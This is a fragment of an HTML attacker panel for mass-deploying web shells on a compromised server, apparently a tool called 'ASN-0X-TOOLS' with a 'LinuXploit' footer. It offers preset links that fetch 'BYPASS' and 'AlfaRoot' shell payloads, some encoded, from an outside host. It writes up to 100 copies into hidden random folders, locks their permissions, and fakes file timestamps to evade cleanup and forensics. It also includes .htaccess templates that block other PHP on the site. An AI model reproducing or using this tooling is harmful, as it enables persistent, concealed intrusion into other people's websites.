                    <strong>BYPASS</strong><br>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69cf4e5d3bc3e8.69379453.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___CMD___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69cf4711c07e62.33201262.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___GS___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69c644cc700c56.73422563.txt'); return false;" style="color:#a5b4fc;">___WP___</a>
                </div>
                <div style="margin-top:10px;font-size:11px;color:var(--text-soft);">
                    <strong>Plugin</strong><br>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=6a22b126e63dc7.33697583.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___AlfaRoot___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=6a43a19c7ffc03.07984783.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___AlfaRootEncode1___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=6a59763bba7894.97176424.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___AlfaRootEncode2___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=6a566ba30131a3.45015601.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___AlfaRootEncode3___</a>
                </div>

                <p style="font-size:11px;color:var(--text-soft);margin-top:10px;">Number of files (1–100):</p>
                <input type="number" name="file_count" min="1" max="100" value="5" required>
                <button type="submit" class="btn btn-primary">📤 Deploy with Smart Naming</button>
            </form>

            <p style="font-size:11px;color:var(--text-soft);margin-top:14px;">
                🔒 Each deployed file is placed inside an <code>/en</code> subfolder within deep-random directories.<br>
                🔐 Each file <code>index.php</code> is locked to <code>0444</code>.<br>
                🔐 Each <code>/en</code> folder is set to permission <code>0111</code>.<br>
                🔗 Click file names to open in browser.<br>
                📋 Use "Copy All URLs" to copy all links.<br>
                🕒 File and folder timestamps are randomized between 2020–2024.
            </p>
        </section>
    </main>

    <footer class="footer">&copy; 2026 ASN-0X-TOOLS — Final Universal Edition · Internal secure environment only</footer>
</div>

<script>
    function copyAllUrls(buttonEl) {
        // cari panel terdekat
        let root = buttonEl;
        while (root && !root.classList.contains('panel')) {
            root = root.parentElement;
        }
        if (!root) root = document;

        const preview = root.querySelector('.url-preview');
        if (!preview) return;

        const links = Array.from(preview.querySelectorAll('a'));
        const urls = links.map(a => a.href).join('\n');
        if (!urls) return;

        const originalHtml = buttonEl.innerHTML;

        if (navigator.clipboard && navigator.clipboard.writeText) {
            navigator.clipboard.writeText(urls).then(function () {
                buttonEl.innerHTML = '✅ COPIED ALL URLS';
                setTimeout(() => { buttonEl.innerHTML = originalHtml; }, 2000);
            }).catch(function () {
                legacyCopy(urls, buttonEl, originalHtml);
            });
        } else {
            legacyCopy(urls, buttonEl, originalHtml);
        }
    }

    function legacyCopy(text, buttonEl, originalHtml) {
        const tmp = document.createElement('textarea');
        tmp.style.position = 'fixed';
        tmp.style.left = '-9999px';
        tmp.style.top = '0';
        tmp.value = text;
        document.body.appendChild(tmp);
        tmp.focus();
        tmp.select();
        try {
            document.execCommand('copy'); // [web:53][web:54]
            buttonEl.innerHTML = '✅ COPIED ALL URLS';
            setTimeout(() => { buttonEl.innerHTML = originalHtml; }, 2000);
        } catch (e) {
            console.error('Copy failed', e);
        }
        document.body.removeChild(tmp);
    }

    const templates = {
        block_all_php: `<FilesMatch "\\\\.php$">\\n    Order Allow,Deny\\n    Deny from all\\n</FilesMatch>\\n\\n<FilesMatch "\\\\.php$">\\n    Require all denied\\n</FilesMatch>`,
        allow_index_only: `<FilesMatch "\\\\.php$">\\n    Require all denied\\n</FilesMatch>\\n\\n<FilesMatch "^(index|main|home)\\\\.php$">\\n    Require all granted\\n</FilesMatch>\\n\\n<IfModule mod_rewrite.c>\\nRewriteEngine On\\nRewriteBase /\\nRewriteRule ^index\\\\.php$ - [L]\\nRewriteCond %{REQUEST_FILENAME} !-f\\nRewriteCond %{REQUEST_FILENAME} !-d\\nRewriteRule . /admin.php.php [L]\\n</IfModule>`
    };

    function setHtaccessTemplate(key) {
        const textarea = document.getElementById('htaccess_code');
        if (textarea && templates[key]) {
            textarea.value = templates[key];
        }
    }

    function setDeployUrl(url) {
        const input = document.querySelector('input[name="deploy_url"]');
        if (input) input.value = url;
    }
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit